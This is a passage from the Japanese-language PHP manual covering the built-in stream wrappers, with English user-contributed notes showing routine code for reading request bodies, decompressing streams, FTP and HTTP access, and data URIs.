I needed it to read xml posted data submitted by ocs agent. The data was sent as Content-Type: application/x-compressed (zlib compressed data).

It seems related to an old bug which still seems broken :
https://bugs.php.net/bug.php?id=49411

The important part is the default window set to 15 instead of -15.

Code snippet
<?php
$data = '';
$fh = fopen('php://input', 'rb');
stream_filter_append($fh, 'zlib.inflate', STREAM_FILTER_READ, array('window'=>15));
while(!feof($fh)) {
    $data .= fread($fh, 8192);
}
?>
aaron dot mason+php at thats-too-much dot info 05-Jun-2012 01:46
Be aware of code injection, folks - like anything else you take from the user, SANITISE IT FIRST.  This cannot be stressed enough - if I had a dollar for each time I saw code where form input was taken and directly used (by myself as well, I've been stupid too) I'd probably own PHP.  While using data from a form in a URL wrapper is asking for trouble, you can greatly minimise the trouble by making sure your inputs are sane and not likely to provide an opening for the LulzSec of the world to cause havoc.
Anonymous 04-May-2012 07:00
For php://filter the /resource=foo part must come last. And foo needs no escaping at all.
php://filter/resource=foo/read=somefilter would try to open a file 'foo/read=somefilter' while php://filter/read=somefilter/resource=foo will open file 'foo' with the somefilter filter applied.
leonid at shagabutdinov dot com 22-Jul-2011 09:45
For https for windows enable this extension:

extension=php_openssl.dll
sebastian dot krebs at kingcrunch dot de 04-Feb-2011 04:49
The stream php://temp/maxmemory:$limit stores the data in memory unless the limit is reached. Then it will write the whole content the a temporary file and frees the memory. I didnt found a way to get at least some of the data back to memory.
gjaman at gmail dot com 15-May-2008 02:15
You can decompress (gzip) a input stream by combining wrappers:

eg:  $x = file_get_contents("compress.zlib://php://input");

I used this method to decompress a gzip stream that was pushed to my webserver
jerry at gii dot co dot jp 17-Aug-2007 10:11
Not only are STDIN, STDOUT, and STDERR only allowed for CLI programs, but they are not allowed for programs that are read from STDIN. That can confuse you if you try to type in a simple test program.
sander at medicore dot nl 14-Jun-2007 04:25
to create a raw tcp listener system i use the following:

xinetd daemon with config like:
service test
{
        disable      = no
        type         = UNLISTED
        socket_type  = stream
        protocol     = tcp
        bind         = 127.0.0.1
        port         = 12345
        wait         = no
        user         = apache
        group        = apache
        instances    = 10
        server       = /usr/local/bin/php
        server_args  = -n [your php file here]
        only_from    = 127.0.0.1 #gotta love the security#
        log_type     = FILE /var/log/phperrors.log
        log_on_success += DURATION
}

now use fgets(STDIN) to read the input. Creates connections pretty quick, works like a charm.Writing can be done using the STDOUT, or just echo. Be aware that you're completely bypassing the webserver and thus certain variables will not be available.
ben dot johansen at gmail dot com 25-Oct-2006 02:57
followup:

I found that if I added this line to the AJAX call, the values would show up in the $_POST

xhttp.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded');
ben dot johansen at gmail dot com 29-Aug-2006 11:02
Example of how to use the php://input to get raw post data

//read the raw data in
$roughHTTPPOST = file_get_contents("php://input");
//parse it into vars
parse_str($roughHTTPPOST);

if you do readfile("php://input") you will get the length of the post data
ben dot johansen at gmail dot com 29-Aug-2006 12:33
In trying to do AJAX with PHP and Javascript, I came upon an issue where the POST argument from the following javascript could not be read in via PHP 5 using the $_REQUEST or $_POST. I finally figured out how to read in the raw data using the php://input directive.

Javascript code:
=============
      //create request instance
      xhttp = new XMLHttpRequest();
      // set the event handler
      xhttp.onreadystatechange = serviceReturn;
      // prep the call, http method=POST, true=asynchronous call
      var Args = 'number='+NbrValue;
      xhttp.open("POST", "http://<?php echo $_SERVER['SERVER_NAME'] ?>/webservices/ws_service.php", true);
      // send the call with args
      xhttp.send(Args);

PHP Code:
    //read the raw data in
    $roughHTTPPOST = file_get_contents("php://input");
    //parse it into vars
    parse_str($roughHTTPPOST);
heitorsiller at uol dot com dot br 07-Jul-2006 07:55
For reading a XML stream, this will work just fine:
<?php

$arq = file_get_contents('php://input');

?>

Then you can parse the XML like this:

<?php

$xml = xml_parser_create();

xml_parse_into_struct($xml, $arq, $vs);

xml_parser_free($xml);

$data = "";

foreach($vs as $v){

        if($v['level'] == 3 && $v['type'] == 'complete')
                $data .= "\n".$v['tag']." -> ".$v['value'];
}

echo $data;

?>

PS.: This is particularly useful for receiving mobile originated (MO) SMS messages from cellular phone companies.
nyvsld at gmail dot com 27-Nov-2005 10:28
php://stdin supports fseek() and fstat() function call,
while php://input doesn't.
chris at free-source dot com 26-Apr-2005 12:52
If you're looking for a unix based smb wrapper there isn't one built in,  but I've had luck with http://www.zevils.com/cgi-bin/viewcvs.cgi/libsmbclient-php/ (tarball link at the end).
nargy at yahoo dot com 24-Sep-2004 03:16
When opening php://output in append mode you get an error, the way to do it:
$fp=fopen("php://output","w");
fwrite($fp,"Hello, world !<BR>\n");
fclose($fp);
aidan at php dot net 27-May-2004 03:34
The contants:

* STDIN
* STDOUT
* STDERR

Were introduced in PHP 4.3.0 and are synomous with the fopen('php://stdx') result resource.
lupti at yahoo dot com 29-Nov-2003 02:04
I find using file_get_contents with php://input is very handy and efficient. Here is the code:

$request = "";
$request = file_get_contents("php://input");

I don't need to declare the URL filr string as "r". It automatically handles open the file with read.

I can then use this $request string to your XMLparser as data.
sam at bigwig dot net 15-Aug-2003 08:02
[ Editor's Note: There is a way to know.  All response headers (from both the final responding server and intermediate redirecters) can be found in $http_response_header or stream_get_meta_data() as described above. ]

If you open an HTTP url and the server issues a Location style redirect, the redirected contents will be read but you can't find out that this has happened.

So if you then parse the returned html and try and rationalise relative URLs you could get it wrong.


ローカルファイルシステムへのアクセス

  • ≪ サポートするプロトコル/ラッパー
  • http:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • ローカルファイルシステムへのアクセス

file://

file:// — ローカルファイルシステムへのアクセス

説明

PHP で使用されるデフォルトのラッパーは Filesystem で、 これはローカルファイルシステムを表します。 相対パス(/, \, \\,または Windows のドライブ文字で始まらないパス)が指定された場合、 指定されたパスは、現在の作業ディレクトリに対して適用されます。 多くの場合、これは、スクリプトがあるディレクトリです。ただし、カレントディレクトリが 変更されている場合を除きます。 CLI SAPI を使用した場合、このデフォルトはスクリプトがコールされたディレクトリとなります。

fopen() や file_get_contents() のようないくつかの関数については、相対パスと同時に include_path も検索されます。

利用法

  • /path/to/file.ext
  • relative/path/to/file.ext
  • fileInCwd.ext
  • C:/path/to/winfile.ext
  • C:\path\to\winfile.ext
  • \\smbserver\share\path\to\winfile.ext
  • file:///path/to/file.ext

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
読み込み許可 | Yes
書き込み許可 | Yes
追加許可 | Yes
同時読み書き許可 | Yes
stat() のサポート | Yes
unlink() のサポート | Yes
rename() のサポート | Yes
mkdir() のサポート | Yes
rmdir() のサポート | Yes

User Contributed Notes

There are no user contributed notes for this page.


HTTP(s) URL へのアクセス

  • ≪ file://
  • ftp:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • HTTP(s) URL へのアクセス

http://

https://

http:// -- https:// — HTTP(s) URL へのアクセス

説明

HTTP 1.0 により HTTP GET メソッドを用いてファイル/リソースに読み込みのみの アクセスが可能です。仮想ホストにホスト名でアクセスするために、 Host: ヘッダが送信されます。 php.ini ファイルまたはストリームコンテキストによって user_agent 文字列を設定している場合、 それはリクエストの中にも含まれます。

ストリームにより、リソースの body にアクセスすることが できます。ヘッダは、$http_response_header 変数に保存されます。

(全てのリダイレクトが処理された後に)ドキュメント取得元のリソースの URL を知ることが 重要な場合、ストリームから返された一連のレスポンスヘッダを処理する必要があります。

from ディレクティブが設定されており、かつそれが コンテキストオプションとパラメータ で上書きされていない場合は、その値が From: ヘッダとなります。

利用法

  • http://example.com
  • http://example.com/file.php?var1=val1&var2=val2
  • http://user:password@example.com
  • https://example.com
  • https://example.com/file.php?var1=val1&var2=val2
  • https://user:password@example.com

オプション

ラッパーの概要
属性 | サポートの可否
allow_url_fopen で制約される | Yes
読み込み可 | Yes
書き込み可 | No
追記可能 | No
同時読み書き可 | N/A
stat() をサポート | No
unlink() をサポート | No
rename() をサポート | No
mkdir() をサポート | No
rmdir() をサポート | No

例

例1 リダイレクト後の URL の検出

<?php
$url = 'http://www.example.com/redirecting_page.php';

$fp = fopen($url, 'r');

$meta_data = stream_get_meta_data($fp);
foreach ($meta_data['wrapper_data'] as $response) {

    /* リダイレクトされているか? */
    if (strtolower(substr($response, 0, 10)) == 'location: ') {

        /* $url をリダイレクト先に書き換える */
        $url = substr($response, 10);
    }

}

?>

注意

注意: HTTPS がサポートされるのは、openssl 拡張モジュールが有効な場合のみです。

HTTP 接続は読み込みのみ可で、HTTP リソースにデータを書き込んだり ファイルをコピーしたりすることはできません。

たとえば POST および PUT リクエストを送信することも、 HTTP コンテキスト を使えば可能です。

参考

  • HTTP コンテキストオプション
  • $http_response_header
  • stream_get_meta_data() - ヘッダーあるいはメタデータをストリームまたはファイルポインタから取得する

User Contributed Notes

Rainer Perske 09-Nov-2015 04:27
Passing authentication information in the URL as in "https://user:password@example.com" works for HTTP "Basic" access authentication but not for HTTP "Digest" access authentication. You can use the cURL functions for servers requesting HTTP "Digest" access authentication.
NEA at AraTaraBul dot com 29-Jul-2007 04:06
HTTP post function;

<?php
function post_it($datastream, $url) {

$url = preg_replace("@^http://@i", "", $url);
$host = substr($url, 0, strpos($url, "/"));
$uri = strstr($url, "/");

      $reqbody = "";
      foreach($datastream as $key=>$val) {
          if (!empty($reqbody)) $reqbody.= "&";
      $reqbody.= $key."=".urlencode($val);
      }

$contentlength = strlen($reqbody);
     $reqheader =  "POST $uri HTTP/1.1\r\n".
                   "Host: $host\n". "User-Agent: PostIt\r\n".
     "Content-Type: application/x-www-form-urlencoded\r\n".
     "Content-Length: $contentlength\r\n\r\n".
     "$reqbody\r\n";

$socket = fsockopen($host, 80, $errno, $errstr);

if (!$socket) {
   $result["errno"] = $errno;
   $result["errstr"] = $errstr;
   return $result;
}

fputs($socket, $reqheader);

while (!feof($socket)) {
   $result[] = fgets($socket, 4096);
}

fclose($socket);

return $result;
}
?>
Sinured 28-Jun-2007 03:24
If you want to send more than one custom header, just make header an array:

<?php
$default_opts = array(
    'http' => array(
        'user_agent' => 'Foobar',
        'header' => array(
            'X-Foo: Bar',
            'X-Bar: Baz'
        )
    )
);
stream_context_get_default($default_opts);
readfile('http://www.xhaus.com/headers');
?>
dwalton at acm dot org 17-Nov-2006 12:18
As it says on this page:

"The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable. Since PHP 4.3.0, the headers are available using stream_get_meta_data()."

This one sentence is the only documentation I have found on the mysterious $http_response_header variable, and I'm afraid it's misleading.  It implies that from 4.3.0 onward, stream_get_meta_data() ought to be used in favor of $http_response_header.

Don't be fooled!  stream_get_meta_data() requires a stream reference, which makes it ONLY useful with fopen() and related functions.  However, $http_response_header can be used to get the headers from the much simpler file_get_contents() and related functions, which makes it still very useful in 5.x.

Also note that even when file_get_contents() and friends fail due to a 4xx or 5xx error and return false, the headers are still available in $http_response_header.


FTP(s) URL へのアクセス

  • ≪ http://
  • php:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • FTP(s) URL へのアクセス

ftp://

ftps://

ftp:// -- ftps:// — FTP(s) URL へのアクセス

説明

FTP 経由でのファイルの読み込みと新しいファイルの作成を許可します。 サーバーがパッシブモードの FTP をサポートしていない場合、接続は失敗します。

読み込み用または書き込み用のどちらかでファイルをオープンすることが 可能ですが、それらを両方同時に指定することはできません。FTP サーバー上の 既存のファイルを書き込み用にオープンしようとした場合、もし コンテキストオプション overwrite が指定されていなければ 接続は失敗します。既存のファイルを FTP 越しに上書きしたい場合は、 コンテキストオプション overwrite を指定したうえで 書き込み用にファイルをオープンします。別の方法としては、 FTP 拡張モジュール を使用することも可能です。

from ディレクティブを php.ini で設定した場合、この値が anonymous FTP のパスワードとして送信されます。

利用法

  • ftp://example.com/pub/file.txt
  • ftp://user:password@example.com/pub/file.txt
  • ftps://example.com/pub/file.txt
  • ftps://user:password@example.com/pub/file.txt

オプション

ラッパーの概要
属性 | サポート対象か
allow_url_fopen で制約される | Yes
読み込み許可 | Yes
書き込み許可 | Yes（新規ファイル あるいは 既存のファイルで overwrite を指定）
追加許可 | Yes
同時読み書き許可 | No
stat() のサポート | filesize()、filemtime()、 filetype()、file_exists()、 is_file()、is_dir() のみ。
unlink() のサポート | Yes
rename() のサポート | Yes
mkdir() のサポート | Yes
rmdir() のサポート | Yes

注意

注意:

FTPS がサポートされるのは、openssl 拡張モジュールが有効な場合のみです。

もしサーバーが SSL をサポートして いなければ、通常の（暗号化されない）FTP を使用します。

注意: 追記
ftp:// URL ラッパー経由での ファイルの追記が可能です。

参考

  • FTP コンテキストオプション

User Contributed Notes

fazil dot stormhammer dot nospam at gmail dot com 25-Apr-2008 01:41
Document says "Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail. "

As of version 5.2.5 at least fopen("ftp://...") uses an ACTIVE mode connection by default (it issues an FTP PORT command but not a PASV command).  To force passive mode:

$f = fopen("ftp://...");
ftp_pasv($f, true);
25-Sep-2005 08:33
<?
$str ="replace all contenents";
$filew="ftp://gufo:gufo@192.168.1.55:21/jj.php";
$opts = array('ftp' => array('overwrite' => true));
$context = stream_context_create($opts);
$strwri = file_put_contents($filew,$str,LOCK_EX,$context);
?>
php at f00n dot com 04-Jul-2004 12:39
For Intranet purposes I found I preferred to move my file via ftp functions to match the session user's ftp account and put the file in a holding bay so I knew who it was from.

The FTP wrapper method will NOT do this if your ftp server does NOT support passive mode.

eg.  an ftp server behind NAT/routing


さまざまな入出力ストリームへのアクセス

  • ≪ ftp://
  • zlib:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • さまざまな入出力ストリームへのアクセス

php://

php:// — さまざまな入出力ストリームへのアクセス

説明

PHP ではさまざまな入出力ストリームを提供しています。 これらを使うと、PHP 自身の入出力ストリームへのアクセスや 標準入出力と標準エラー出力のファイル記述子へのアクセス、 メモリやディスクを使ったテンポラリファイルストリームへのアクセスができ、 フィルタを使って他のファイルリソースの読み書きに手を加えることもできます。

php://stdin, php://stdout および php://stderr

php://stdin、php://stdout および php://stderr は、PHP プロセスの 対応する入出力ストリームへの直接アクセスを許可します。 これらのストリームは複製されたファイル記述子を参照します。そのため、 php://stdin をオープンしたあとでそれを閉じたとしても、 識別子のコピーが閉じられるだけです。STDIN で参照される実際のストリームは何も影響を受けません。 PHP 5.2.1 より前のバージョンでは、これに関連する挙動にバグがあります。 これらのラッパーを使うのではなく、定数 STDIN, STDOUT および STDERR を使用することを推奨します。

php://stdin は読み込み専用で、 php://stdout および php://stderr は書き込み専用です。

php://input

php://input は読み込み専用のストリームで、 リクエストの body 部から生のデータを読み込むことができます。 POST リクエストの場合は $HTTP_RAW_POST_DATA よりも php://input を使うのが望ましいでしょう。php.ini ディレクティブの設定に依存しないからです。 さらに、$HTTP_RAW_POST_DATA がデフォルトで設定されない場合は、 always_populate_raw_post_data を有効にするよりも $HTTP_RAW_POST_DATA を使うほうがメモリの消費量が少なくなるでしょう。 php://input は、 enctype="multipart/form-data" に対しては使用できません。

php://output

php://output は書き込み専用のストリームで、 print および echo と同じ方法での出力バッファへの書き込みを許可します。

php://fd

php://fd は、指定したファイル記述子に直接アクセスすることができます。 たとえば php://fd/3 は、ファイル記述子 3 を指します。

php://memory および php://temp

php://memory および php://temp は読み書き可能なストリームで、一時データをファイルのように保存できるラッパーです。 両者の唯一の違いは、 php://memory が常にデータをメモリに格納するのに対して php://temp は定義済みの上限 (デフォルトは 2 MB) に達するとテンポラリファイルを使うという点です。 このテンポラリファイルの場所は、 sys_get_temp_dir() 関数と同じ方法で決めます。

php://temp のメモリ制限を制御するには /maxmemory:NN を追加します。この NN はメモリに保持するデータの最大量で、単位はバイトです。 このサイズを超えるとテンポラリファイルを使います。

php://filter

php://filter は、フィルタアプリケーションが ストリームをオープンすることを許可するために設計されたメタラッパーです。 これは、readfile()、file() および file_get_contents() のようなオールインワンの ファイル関数とともに使用すると有用です。これらの関数には、コンテンツが 読み込まれる前にストリームにフィルタを適用する手段がありません。

php://filter の対象は、 次のようなパラメータをパスの一部として受け取ります。 ひとつのパスに対して複数のフィルタチェインを指定できます。 これらのパラメータの詳細は、使用例を参照ください。

php://filter のパラメータ
名前 | 説明
resource=<フィルタの対象となるストリーム> | このパラメータは必須です。フィルタリングしたいストリームを指定します。
read=<読み込みチェーンに適用するフィルタのリスト> | このパラメータは任意です。ひとつあるいは複数のフィルタ名を、 パイプ文字 (|) で区切って指定します。
write=<書き込みチェーンに適用するフィルタのリスト> | このパラメータは任意です。ひとつあるいは複数のフィルタ名を、 パイプ文字 (|) で区切って指定します。
<両方のチェーンに適用するフィルタのリスト> | read= や write= がついていないすべてのフィルタは、読み込みと書き込みのチェーンの両方に適切に適用されます。

オプション

ラッパーの概要（php://filter については、 フィルタされる側のラッパーの概要を参照します）
属性 | サポートの有無
allow_url_fopen で制約される | No
allow_url_include で制約される | php://input、 php://stdin、 php://memory および php://temp のみ。
読み込み許可 | php://stdin、 php://input、 php://fd、 php://memory および php://temp のみ。
書き込み許可 | php://stdout、 php://stderr、 php://output、 php://fd、 php://memory および php://temp のみ。
追加許可 | php://stdout、 php://stderr、 php://output、 php://fd、 php://memory および php://temp のみ (書き込みと同じ)。
同時読み書き許可 | php://fd、 php://memory および php://temp のみ。
stat() のサポート | No. 但し、php://memory および php://temp は、fstat() をサポートしています。
unlink() のサポート | No
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No
stream_select() のサポート | php://stdin、 php://stdout、 php://stderr、 php://fd、および php://temp のみ。

例

例1 php://temp/maxmemory

このオプションパラメータは、php://temp がテンポラリファイルを使うようになるまでのメモリの制限を設定します。

<?php
// 制限を 5 MB にします。
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');

fputs($fp, "hello\n");

// 書き込んだ内容を読み込みます。
rewind($fp);
echo stream_get_contents($fp);
?>

例2 php://filter/resource=<フィルタの対象となるストリーム>

このパラメータは、 php://filter 指定の最後に存在し、フィルタリング したいストリームを指している必要があります。

<?php
/* これは単純に以下と同じです。
   readfile("http://www.example.com");
   なぜなら、実際のところ何のフィルタ処理も行われないからです。 */

readfile("php://filter/resource=http://www.example.com");
?>

例3 php://filter/read=<読み込みチェーンに適用するフィルタのリスト>

このパラメータは 1 つ以上のフィルタ名を パラメータとしてとり、それらはパイプ文字 | で区切られます。

<?php
/* これは、www.example.com のすべての内容を
   大文字に変換して出力します。 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* これは上の例と同じですが、それに加えて
   ROT13 エンコード処理を行います。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>

例4 php://filter/write=<書き込みチェーンに適用するフィルタのリスト>

このパラメータは 1 つ以上のフィルタ名を パラメータとしてとり、それらはパイプ文字 | で区切られます。

<?php
/* これは、文字列 "Hello World"
   に対して rot13 フィルタを適用し、カレントディレクトリの
   example.txt に書き込みます。 */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

例5 php://memory と php://temp は再利用できない

php://memory と php://temp の再利用はできません。つまり、いったんストリームを閉じてしまったら、もうそれを参照できないということです。

file_put_contents('php://memory', 'PHP');
echo file_get_contents('php://memory'); // 何も表示されません

User Contributed Notes

There are no user contributed notes for this page.


圧縮ストリーム

  • ≪ php://
  • data:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • 圧縮ストリーム

zlib://

bzip2://

zip://

zlib:// -- bzip2:// -- zip:// — 圧縮ストリーム

説明

compress.zlib:// および compress.bzip2://

zlib: は gzopen() と同様に 動作しますが、このストリームは fread() および 他のファイルシステム関数と組み合わせて使用することができるところが 異なります。この機能ではファイル名に ':' 文字が含まれる曖昧さが あるため、推奨されません。代わりに compress.zlib:// を使用してください。

compress.zlib:// および compress.bzip2:// は、それぞれ gzopen() および bzopen() と等価で、 fopencookie をサポートしないシステムの上でも動作します。

ZIP 拡張モジュール は、zip: ラッパーを登録します。 PHP 7.2.0 以降、かつ libzip 1.2.0+ では、 暗号化されたアーカイブに対するパスワードのサポートが追加され、 ストリームのコンテキストでパスワードを与えることが出来るようになりました。 パスワードは、'password' コンテキストオプションで設定できます。

利用法

  • compress.zlib://file.gz
  • compress.bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
読み込み許可 | Yes
書き込み許可 | Yes (zip:// を除く)
追加許可 | Yes (zip:// を除く)
同時読み書き許可 | No
stat() のサポート | No, 圧縮されたファイルの状態を知るには、通常の file:// ラッパーを使用します。
unlink() のサポート | No, 圧縮されたファイルを unlink するには、通常の file:// ラッパーを使用します。
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No

User Contributed Notes

arava dot box at gmail dot com 05-Dec-2019 01:17
This is the solution how to read stream from zip:

$fp = fopen('zip://foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}
lewa::cpan.org 03-Feb-2017 01:56
One-liners to gzip and ungzip a file:

copy('file.txt', 'compress.zlib://' . 'file.txt.gz');

copy('compress.zlib://' . 'file.txt.gz', 'file.txt');
feodor at ctm dot ru 10-Dec-2015 01:13
Prior to PHP 5.6 i used code like
<?php
file_get_contents("compress.zlib://php://input");
?>
to read gz-compressed or plain input file. Not it doesn't work.
Simple workaround :
<?php
//file_get_contents("compress.zlib://php://input");

class gzip_header_filter8 extends php_user_filter {
    private $filtered = 0;
    public function filter($in, $out, &$consumed, $closing) {
        while ($bucket = stream_bucket_make_writeable($in)) {
            if($this->filtered == 0) {
                $header_len = 8;
                $header = substr($bucket->data, 0, 8);
                $flags = ord($header[1]);
                if($flags & 0x08) {
                    // a filename is present
                    $header_len = strpos($bucket->data, "\0", 8) + 1;
                }
                $bucket->data = substr($bucket->data, $header_len);
                $this->filtered = $header_len;
            }
            $consumed += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }
        return PSFS_PASS_ON;
    }
}

stream_filter_register('gzip_header_filter8', 'gzip_header_filter8');

$READ_LEN = 64*1024;
$MAX_BUF_LEN = $READ_LEN*1024;

$mode_plain=true;
$src=fopen("php://input","rb"); //test if OK!!!!
$magic_number=fread($src,2);
$input="";
    if(strlen($magic_number)==2)
        if(
            (ord($magic_number[0])==31)
        &&  (ord($magic_number[1])==139)
            )
        {
        $mode_plain=false;
        stream_filter_append($src, "gzip_header_filter8", STREAM_FILTER_READ);
        stream_filter_append($src, "zlib.inflate", STREAM_FILTER_READ);
        }
else
        {
        $input=$magic_number;
        }

/* read starts here*/
 $k = 0;
 while (!feof($src) && $k <= $MAX_BUF_LEN) {
      $inp = fread($src,$READ_LEN);
      $k += strlen($inp);
      $input.=$inp;
    }
echo $input;
fclose($src);
?>
eragonjml at googlemail dot com 19-Sep-2013 05:00
@alvaro at demogracia dot com

well in fact that is wrong!
right code is:

<?php

$fp = fopen('compress.zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

as you might see you just have to add a "compress."

maybe when you posted this note is was right (2 years ago) but today its wrong... :/

sry for my english i am german :)
alvaro at demogracia dot com 12-Apr-2011 07:41
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):

<?php

$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

Also, apparently, the "zip:" wrapper does not allow writing as of PHP/5.3.6. You can read http://php.net/ziparchive-getstream for further reference since the underlying code is probably the same.
joshualross at gmail dot com 19-Aug-2007 12:24
I had a difficult time finding how to use compress.zlib with an http resource so I thought I would post what I found
<?php
$file = 'compress.zlib://http://www.example.com/myarchive.gz';
$fr = fopen($file, 'rb');
?>

Per the bugreport I found here (http://bugs.php.net/bug.php?id=29045)


データ (RFC 2397)

  • ≪ zlib://
  • glob:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • データ (RFC 2397)

data://

data:// — データ (RFC 2397)

説明

data: (» RFC 2397) ストリームラッパーです。

利用法

  • data://text/plain;base64,

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | Yes
allow_url_include で制約される | Yes
読み込み許可 | Yes
書き込み許可 | No
追加許可 | No
同時読み書き許可 | No
stat() のサポート | No
unlink() のサポート | No
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No

例

例1 data:// の内容の表示

<?php
// "I love PHP" と表示します
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

例2 media type の取得

<?php
$fp   = fopen('data://text/plain;base64,', 'r');
$meta = stream_get_meta_data($fp);

// "text/plain" と表示します
echo $meta['mediatype'];
?>

User Contributed Notes

from dot php dot net at brainbox dot cz 18-Nov-2010 04:37
When passing plain string without base64 encoding, do not forget to pass the string through URLENCODE(), because PHP automatically urldecodes all entities inside passed string (and therefore all + get lost, all % entities will be converted to the corresponding characters).

In this case, PHP is strictly compilant with the RFC 2397. Section 3 states that passes data should be either in base64 encoding or urlencoded.

VALID USAGE:
<?php
$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
?>

Demonstration of invalid usage:
<?php
$data = 'Gunther says: 1+1 is 2, 10%40 is 20.';

$fp = fopen('data:text/plain,'.$data, 'rb'); // INVALID, never do this
echo stream_get_contents($fp);
// Gunther says: 1 1 is 2, 10@ is 20. // ERROR

$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
echo stream_get_contents($fp);
// Gunther says: 1+1 is 2, 10%40 is 20. // OK

// Valid option 1: base64 encoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
echo stream_get_contents($fp);
// Gunther says: 1+1 is 2, 10%40 is 20. // OK
?>
admin deskbitz net 02-May-2010 12:54
If you want to create a gd-image directly out of a sql-database-field you might want to use:

<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>

this goes also for gif, png, etc using the correct "imagecreatefrom$$$"-function and mime-type.
sandaimespaceman at gmail dot com 06-Sep-2008 06:30
Now PHP supports data: protocol w/out "//" like data:text/plain, not data://text/plain,

I tried it.


パターンにマッチするパス名の検索

  • ≪ data://
  • phar:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • パターンにマッチするパス名の検索

glob://

glob:// — パターンにマッチするパス名の検索

説明

glob: ストリームラッパーは、パターンにマッチするパス名の探索が行なえます。

利用法

  • glob://

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
allow_url_include で制約される | No
読み込み許可 | No
書き込み許可 | No
追加許可 | No
同時読み書き許可 | No
stat() のサポート | No
unlink() のサポート | No
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No

例

例1 基本的な使用法

<?php
// ext/spl/examples/ ディレクトリのすべての *.php ファイルについて、
// そのファイル名とサイズを表示します
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
tree.php: 1.0K
findregex.php: 0.6K
findfile.php: 0.7K
dba_dump.php: 0.9K
nocvsdir.php: 1.1K
phar_from_dir.php: 1.0K
ini_groups.php: 0.9K
directorytree.php: 0.9K
dba_array.php: 1.1K
class_tree.php: 1.8K

User Contributed Notes

There are no user contributed notes for this page.


PHP アーカイブ

  • ≪ glob://
  • ssh2:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • PHP アーカイブ

phar://

phar:// — PHP アーカイブ

説明

phar:// ストリームラッパーに関する詳細は Phar ストリームラッパー を参照ください。

利用法

  • phar://

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
allow_url_include で制約される | No
読み込み許可 | Yes
書き込み許可 | Yes
追加許可 | No
同時読み書き許可 | Yes
stat() のサポート | Yes
unlink() のサポート | Yes
rename() のサポート | Yes
mkdir() のサポート | Yes
rmdir() のサポート | Yes

参考

  • Phar コンテキストオプション

User Contributed Notes

There are no user contributed notes for this page.


Secure Shell 2

  • ≪ phar://
  • rar:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • Secure Shell 2

ssh2://

ssh2:// — Secure Shell 2

説明

ssh2.shell:// ssh2.exec:// ssh2.tunnel:// ssh2.sftp:// ssh2.scp:// （PECL）

注意: このラッパーはデフォルトでは有効になっていません
ssh2.*:// ラッパーを使用するには、 » PECL から » SSH2 拡張モジュールを インストールする必要があります。

ssh2 ラッパーでは、URL のホスト部分に接続リソースを渡すことで既にオープン している接続を再利用することが可能です。

利用法

  • ssh2.shell://user:pass@example.com:22/xterm
  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
  • ssh2.sftp://user:pass@example.com:22/path/to/filename

オプション

ラッパーの概要
属性 | ssh2.shell | ssh2.exec | ssh2.tunnel | ssh2.sftp | ssh2.scp
allow_url_fopen で制約される | Yes | Yes | Yes | Yes | Yes
読み込み許可 | Yes | Yes | Yes | Yes | Yes
書き込み許可 | Yes | Yes | Yes | Yes | No
追加許可 | No | No | No | Yes（サーバーがサポートしている場合） | No
同時読み書き許可 | Yes | Yes | Yes | Yes | No
stat() のサポート | No | No | No | Yes | No
unlink() のサポート | No | No | No | Yes | No
rename() のサポート | No | No | No | Yes | No
mkdir() のサポート | No | No | No | Yes | No
rmdir() のサポート | No | No | No | Yes | No

コンテキストオプション
名前 | 使用法 | デフォルト
session | 再利用する接続済みの ssh2 リソース |
sftp | 再利用する割り当て済みの sftp リソース |
methods | Key exchange, hostkey, cipher, compression, および MAC methods |
callbacks |  |
username | 接続するユーザー名 |
